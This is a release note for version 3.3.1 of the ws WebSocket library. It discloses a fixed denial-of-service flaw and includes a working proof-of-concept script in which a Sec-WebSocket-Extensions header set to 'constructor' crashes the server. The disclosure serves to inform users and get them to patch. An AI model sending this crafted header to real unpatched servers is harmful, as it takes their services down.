3.3.1

Bug fixes

• Fixed a DoS vulnerability (c4fe466).

A specially crafted value of the Sec-WebSocket-Extensions header that
used Object.prototype property names as extension or parameter names
could be used to make a ws server crash.

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

The vulnerability has been privately reported by Nick Starke and
Ryan Knell of Sonatype Security Research and promptly fixed. Please
update now!